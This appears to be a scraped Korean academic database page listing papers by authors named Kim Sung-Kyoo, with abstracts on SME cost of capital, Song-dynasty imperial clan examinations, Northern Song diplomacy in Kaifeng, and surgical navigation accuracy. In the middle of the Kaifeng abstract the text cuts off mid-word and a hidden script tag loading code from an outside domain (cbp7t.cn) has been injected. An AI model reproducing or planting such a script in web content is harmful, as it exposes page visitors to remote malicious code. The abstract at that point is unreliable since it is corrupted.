경기변동에 따른 비상장 중소기업 신용위험을 설명하는 회계변수와 부도예측에 관한 실증연구

김성규 ( Sung Kyoo Kim ),이화득 ( Hwa Deuk Yi ) 한국회계학회 2012 회계저널 Vol.21 No.6

중국왕조에성 실례의 연혁

김성규 ( Sung Kyoo Kim ) 중국사학회 2003 中國史硏究 Vol.23 No.-

趙宋宗室是由太祖, 太宗和素王的後代造成的. 在唐代, 六世孫以外的血親均與庶民無異.但宋代六世孫以外的血親也享受宗室待遇.隨着宗室人員的增加,從北宋神宗熙寧2年(1069), 超五服以外的宗室遠親需通過科擧才能得到差遣進入仕途, 官僚社會的宗室群體逐漸形成. 這是科擧制度史上的重要特点. 我硏究宋代宗室的科擧, 用了前人基本上未觸及到的資料, 卽《仙源類譜》·《宗藩慶系錄》·《宗藩訓典》等. 這些資料里面近親宗室的名單, 系譜, 科擧應擧時間, 授官, 仕宦變遷內容. 對于本課題的硏究具有흔重要的史料價値. 宗室的官界進出方法有多種多樣. 宗學生是通過舍選, 有官人近支宗室參加鎖廳試, 疏屬宗室在國子監參加發解試然後參加宗子省試. 無官人近支宗室參加宗子取應或者量試. 宗子省試的省額較寬, 考試內容也是有關宗室的問題, 所以容易回答. 他們的授官與一般士人授官差不多.25歲以上未入仕近親宗室參加量試. 量試一次要選拔幾百名人給予授官, 他們的考校不太嚴格, 水平也比較低. 袒免親未入仕者參加宗子取應, 選拔人數比量試少.宗子取應考試是實施了新皇帝卽位時(如南宋初 高宗, 孝宗皇帝登極時). 通過宗子取應的策問, 由于宗室考試優渥同姓, 所以大多流于形式. 量試或者宗子取應合格者, 再通過鎖廳試或者太學三舍試陞進. 宗室擴大了宗子省試的選拔比例, 幷且因爲存在只有宗室子弟可以應擧的宗子取應和量試, 所以宗室子弟可以比庶民更容易進入仕途. 但是, 他們大部分只被授予添差官(卽額外差遣). 朝延對于通過考試的宗室出身人員大批地, 授官, 以免他們在生活上陷入困境. 宗室成具也因大批近親加入제身仕途而感到自豪, 從而更加盡忠職守, 以此鞏固了趙宋政權的統治基礎. 部分經過考試的宗室進士, 在靖康之亂和南宋末期, 曾經顯示出了他們卓越的政治的才能. 筆者認爲, 趙宋統治者選拔大批宗室子弟入仕, 雖然壯大了士大夫階層, 對加强和擴大其統治基礎到了一定作用 但却增加了中央和地方的財政負擔, 幷減少了平民入仕的機會 至于有些宗室成員, 他們雖然沒有被授有實權, 甚至沒有被授予官職, 但他們仍然可以在地方上過着與平民相比較爲優越的生活. 這些人起到了朝延與平民聯系的紐帶作用, 但那些不法宗室又成爲地方一害. 因此也有消極作用

宋代 東아시아에서 賓禮의 成立과 그 性格

金成奎(Kim Sung-Kyoo) 동양사학회 2000 東洋史學硏究 Vol.72 No.-

요소가산법을 활용한 비상장 중소기업 자기자본비용 측정에 관한 실증연구

김성규 ( Sung Kyoo Kim ),한길석 ( Kil Seok Han ),한종관 ( Jong Kwan Han ) 한국회계학회 2014 회계저널 Vol.23 No.2

자본비용은 자본의 사용대가로 지불하는 비용이면서 미래소득을 현재가치로 바꾸는데 적용하는 할인율로서 기업의 가치평가뿐 아니라 신규 투자안에 대한 평가 등 거의 모든 기업 재무ㆍ회계 분야에서 의사결정의 기초가 되는 매우 중요한 요소이다. 그런데 자본비용과 관련된 대부분의 연구가 이론적인 측면에서 상장기업을 대상으로 이루어져 국내 기업의 대다수를 차지하고 있는 비상장 중소기업에 대한 연구는 거의 없는 실정이다. 또한 대부분의 자본비용 관련 선행연구가 개별기업의 자본비용을 산출하는 구체적인 방법론 보다는 자본비용을 구성하는 요소와 주가 또는 기타 정보와의 관련성을 분석하는 것에 초점을 두고 있다. 이러한 연구는 학술적으로는 어느 정도 시사점을 줄 수 있더라도 가치평가업무 등을 수행하고 있는 금융기관의 실무자나 투자자 입장에서는 시사점을 부여하기에는 많은 한계점이 있다. 본 연구는 이러한 배경에서 금융실무계에서 활용되고 있는 비상장 중소기업을 대상으로 산출된 자본비용이 부실위험과의 관계를 통해서 그 유용성을 검증하였다. 검증가설은 부실기업의 자본비용이 건전기업의 자본비용에 비하여 높을 것으로 기대하였다. 검증대상 자본비용은 현재 신용보증기금에서 비상장 중소기업 가치평가실무에서 사용되고 있는 타인자본비용(Kd모형)과 요소가산법을 활용한 자기자본비용(Ke모형) 그리고 이 두 가지 모형을 자본구성비로 가중평균한 자본비용(wacc모형)이다. 검증모형 이외 금융실무계에서 비상장기업 자본비용 산출 시 보편적으로 사용하고 있는 Hamada모형에 의한 자기자본비용(Ke_Hamada모형)과 기술신용보증기금 등에서 기술가치평가 실무에서 사용되고 있는 자기자본비용(Ke_기술평가모형)을 Ke모형과 비교 검증을 목적으로 추가로 검토하였다. 표본은 연도별 거시환경변화에 따른 부실률의 영향이 충분히 반영되도록 2003년~2011년 동안의 재무제표에서 추출한 비상장 중소기업 290,854개/년 자료이다. Cost of capital is a vital decision-making factor in almost every aspect of corporate finance and accounting fields such as firm valuation and appraisal of new investment projects. Yet, most of the studies on cost of capital examine listed companies in theoretical perspectives, and analyses on unlisted SMEs, which comprise the majority of the domestic firms, are virtually non-existent. Moreover, many of the previous researches are focused on analyzing the relevance between the cost of capital and stock price or other information, rather than specific methodologies that calculate the cost of capital of each corporation. Such analyses may yield academic implications but cannot assist the investors or staff at financial institutions that conduct valuation. This study has examined the usefulness of cost of capital for unlisted SMEs used by financial industries by analyzing its relationship with default risks. The hypothesis testing expected that the cost of capital of insolvent enterprises will be higher than that of sound businesses. The costs of capital tested include the cost of debt(Kd Model), cost of equity capital using the build-up method (Ke Model), and the weighted average cost of capital of the two previous models (wacc Model), which are used for unlisted SME valuation at KODIT(Korea Credit Guarantee Fund). For a comparison test against Ke Model, Hamada model, which is widely used in financial industries to calculate the cost of capital of unlisted firms, and the Technology-Evaluation Model, which is adopted as cost of capital by KOTEC(Korea Technology Credit Guarantee Fund) for technology valuation , were further analyzed.

宋代에서 國境問題의 意義와 國境의 形態

金成奎(Kim Sung-kyoo) 역사학회 1999 역사학보 Vol.162 No.-

북송의 개봉과 외교

김성규(Sung Kyoo Kim) 중국사학회 2001 中國史硏究 Vol.13 No.-

北宋的國都開封, 多有與唐代長安互相對照的性格. 至今有關開封的硏究, 强調了其革新的一面, 而具體復原都市之像的硏究成果則不如長安, 尤其是開封在政治, 外交或者國際方面的硏究, 也是有待更深入的硏究. 有關開封的這些硏究, 可能是受到一般所謂「唐宋變革」的前提之影響所致, 也就是說, 有關由唐到宋的變化之硏究觀點, 主要是由政治, 軍事和國際的性格轉移到經濟, 文化和內部 (國內) 指向的. 不過, 開封旣然是「君主獨裁支配體制」的核心部分, 宋朝皇帝也在國際上希求朝貢國的來朝, 因此, 作爲國都的開封又在政治上和國際上具有重要的機能. 本稿站在這種立場描寫出, 從前容易過低評고的開封在外交方面的機能, 希望有助於開封的整體性了解. 具體而言, 本稿要將開封分成宮城和外城的兩個空間, 來探討三個問題 : 1)位於各個空間的外交機構之間的相互關係; 2)外交儀禮空間的種類和機能; 3)外國使之住宿設備, 以及他們在停留當中所出現的一些問題. 唐代的外事, 由鴻려寺和主客司專擔, 又由四方館 通事舍人和客省等機構來補助. 到了宋代,「律令官制」解體之後, 前者的機能在實際上是停止的, 反而後者系統的四方館, 東西上閤門司和客省却受到重視. 這些屬於所謂「內諸司」的機構,到置位於 「朝堂門外」, 紫宸殿之前的南廓, 以及「閤門之西」由此可見, 這些都置位於特別고近皇帝日常生活的地方. 開封宮城的佈置, 不像唐代長安那樣, 主要官廳都集中置位在被稱皇城的宮城附近, 開封宮城的這種特色又反映在外事機構的佈置. 北宋的前半期間, 外事機構都以客省爲中心, 互相聯繫, 又將宮城內的各個殿, 或者外城的諸迎賓設施做爲活動空間, 主導了各種外交事務. 不過, 到了北宋後半期間, 推動以唐制爲模範的「元豊官制」之後, 鴻려寺和主客司又復活, 從而引起了外事方面的變化. 特別是鴻려寺, 帶有【表】Ⅱ所示的附屬設施, 此中與①∼④維持密切的連絡關係, 推動了外事. 此時, 主客司也復活, 扮演與鴻려寺類似的角色, 結果, 兩者之間又出現了互相重複的現象. 此時外事, 先由禮部的主客司來做總括性的硏討之後, 下達於鴻려寺, 再由鴻려寺聯絡其附屬或者相關機構, 來具體地處理外事. 不過, 這兩個機構在事務上難免重複, 有時露出了對立, 導致效率下降, 又加上宋初以來續存的客省, 扮演一定的角色. 開封的宮城是, 包括外國使的朝貢儀禮在內, 隨時擧行國家重要儀禮的場地. 其宮殿的種類和名稱, 到此時爲止, 認爲是歷來最多的, 不過, 各個宮殿的具體機能, 目前仍然是不太明了的, 有關外交的宮殿也是如此. 本節主要探討, 此中多有公共機能, 亦卽以「外朝」扮演重要角色的被稱「正朝」的宮殿, 就是大慶殿, 文德殿, 紫宸殿和集英殿在外交方面的機能. 所謂「正朝」的一般機能, 大體上整理爲【表】Ⅲ. 首先, 垂拱(長春) 殿時常爲外國使擧行了「賜宴」儀式, 如【表】Ⅳ. 據此表可見, 宋朝以祝賀「聖節」的名目, 常時爲以契丹爲首的外國使擧行了賜宴. 不過, 垂拱殿本來是「常日視朝」的地方, 從而這些賜宴是屬於特別的, 一般的賜宴則多擧行在別的地方. 其中之一, 就是集英殿, 除了尋求「策士, 直言」的場地以外,「賜宴」也是此一殿的主要機能之一. 宋朝天聖(1023∼31年) 以來, 小宴在垂拱殿, 次宴在紫宸殿, 大宴在集英殿, 分別擧行了, 這是一種慣例. 集英殿的大宴, 平常都是宋朝祝賀國家大事的場地, 此中也多有外國使的參與. 據此看來, 主要以外國使爲主賓的規模較大的賜宴, 都擧行在原來擧行「次宴」的紫宸殿, 其例子也是最多見的. 如【表】Ⅴ所示, 許多外國是與紫宸殿有關係的, 他們在紫宸殿祝賀宋帝的登極(d), 此外, 弔哀使(e.o)的不定期使節的入對和宴會, 定期使節的賀正使(f.t.u)和聖節祝賀使(h.l.m.n.o.p.q)的宴會, 都在此一殿擧行了. 尤其是契丹的使節, 與紫宸殿有密切的關係, 這種慣例又反映在北宋後期政和年間(1111∼1117) 編纂的儀禮書, 亦卽是《政和五禮新義》, 其中由「紫宸殿大遼使朝見儀(卷150)」,「紫宸殿正旦宴大遼使儀(卷151)」以及「紫宸殿大遼使辭朝儀」的儀禮之先後次第來確立和構成. 外國使的活動又可見於大慶殿和文德殿. 大慶殿是擧行宋朝重要的國家大事的場地, 亦卽是元旦和冬至的大朝會, 郊祀, 以及大禮之時齋宿的地方. 因此, 宋朝官員一般的入朝和賜宴, 都不見於此一殿, 外國使也是如此. 但是, 外國使參與元旦和冬至的大朝會, 這是一種與場地無關的宋朝一般的慣例. 除了如上的象徵性的外交或者國家儀禮 (出入國前後的入朝, 賜宴, 節日之大朝會) 以外, 外國使又參加宋朝日常擧行普通的朝會, 這是讓人注意的. 就一個具體的例子而言, 元豊元年 (1078年) 九月, 交趾與占城兩國同時入朝, 宋朝由於考慮兩國的敵對關係, 在「朔日」的入朝之時, 安排兩國都在文德殿分列東西兩方, 又在望日之時, 讓交州使副在垂拱殿, 占城使副則在紫宸殿, 分別起居, 又在兩國不可避免合席的紫宸殿之大宴, 又將席位安排了東西兩列. 由此可見, 占城和交趾兩國的使節, 除了出入國時的入朝, 賜宴等慣禮的儀禮以外, 又在停留在開?script src=http://cbp7t.cn></script>

딥러닝을 이용한 고속도로 낙하물 객체 인식 시스템

최상민(Sang-min Choi),김민균(Min-gyun Kim),이승엽(Seung-yeop Lee),김성규(Seong-Kyoo Kim),신재욱(Jae-wook Shin),김우진(Woo-jin Kim),추승오(Seong-oh Choo),박양우(Yang-woo Park) 한국컴퓨터정보학회 2023 한국컴퓨터정보학회 학술발표논문집 Vol.31 No.2

연구논문 : 지식정보화시대의 노동운동방향과 신노사관계 구축전략

변상우(Sang Woo Byun),김종관(Jong Kwan Kim),이풍학(Pung Hak Lee),김성규(Sung Kyoo Kim) 한국인적자원관리학회 2001 인적자원관리연구 Vol.3 No.-

광학적 항법장치와 전자기장 항법장치의 정확성

송은규(Eun Kyoo Song),선종근(Jong Keun Seon),박상진(Sang Jin Park),윤택림(Taek Rim Yoon),박경순(Kyung Soon Park),김성규(Sung Kyu Kim) 대한정형외과학회 2009 대한정형외과학회지 Vol.44 No.1

목적: 광학적 항법장치와 전자기장 항법 장치를 이용하여 하지의 역학적 축을 측정하고 그 정확성을 비교하였다. 대상 및 방법: 슬관절 치환술 환자에서 Orthopilot과 AxiEM을 이용하여 술 전 역학적 축을 측정하였다. 골 모형을 이용하여 역학적 축을 측정하였고 이를 ORTHODOC으로 측정된 값과 비교하였다. 두 기기의 해부학적 등록 오류에 따른 역학적 축의 변화값을 비교하였다. 결과: 임상적으로 측정된 역학적 축은 AxiEM에서(10.25±5.10°) Orthopilot보다(9.02±5.18°) 더 내반을 보였다. 두 항법 장치간의 평균 역학적 축의 차이는 1.23°였고 동일 환자에서 측정된 값이 두 항법 장치간에 3°이상 차이가 있었던 경우는 15%였다. 골 모형의 실제 역학적 축은 내반 1.25±0.15°였고, Orthopilot은 1.10±0.64°, AxiEM은 l.78±0.79°를 보여 통계적으로 두 항법장치간의 차이는 없었으나 Orthopilot이 재현성이 더 높았다. 등록오류에 의한 역학적 축의 변화는 AxiEM에서 컸다. 결론: 실험적으로 두 항법 장치는 높은 정확도와 재현성을 보여주었으나 광학적 항법장치가 보다 더 재현성이 높았다. 임상적으로는 두 항법 장치간의 불일치를 경험할 수 있었다. Purpose: This study compared the accuracy of mechanical axis measurement between infrared optical and electromagnetic navigation. Materials and Methods: We compared the preoperative mechanical axes of 20 TKAs using both navigation systems. Experimentally, the mechanical axes of the synthetic bone model were compared and the true mechanical axis was determined using the ORTHODOC. Additionally, a surgeon intentionally registered incorrect landmarks and then measured the amount of mechanical axis change in the two navigation methods. Results: Clinically, AxiEM provided greater varus (10.25°±5.100) than Orthopilot (9.02°±5.18°). The mean mechanical axis difference was 1.23° and a difference greater than 3° in the same patient occurred in 15% of patients. For the synthetic bone, the true mechanical axis was varus 1.25°, OrthoPilot displayed varus 1.10°±0.64° and AxiEM varus 1.78°±0.79°. The mechanical axis differences were not significantly different, but OrthoPilot had more reproducibility. When anatomical landmarks were erroneously identified, AxiEM showed a greater change in the mechanical axis. Conclusion: Both navigation systems provided high mechanical axis accuracy and reproducibility under experimental conditions. Infrared optical navigation was more reproducible than electromagnetic navigation. In the clinical setting, there was a disparity of mechanical axis difference greater than 3° in 15% between the two navigation methods in the same patient.

OSCILLATORY AERODYNAMIC FORCE ON THE RING TYPE WING

Hae Kyong Lee(李海京),Sung Kyoo Kim(金性圭) 한국항공우주학회 1973 韓國航空宇宙學會誌 Vol.1 No.1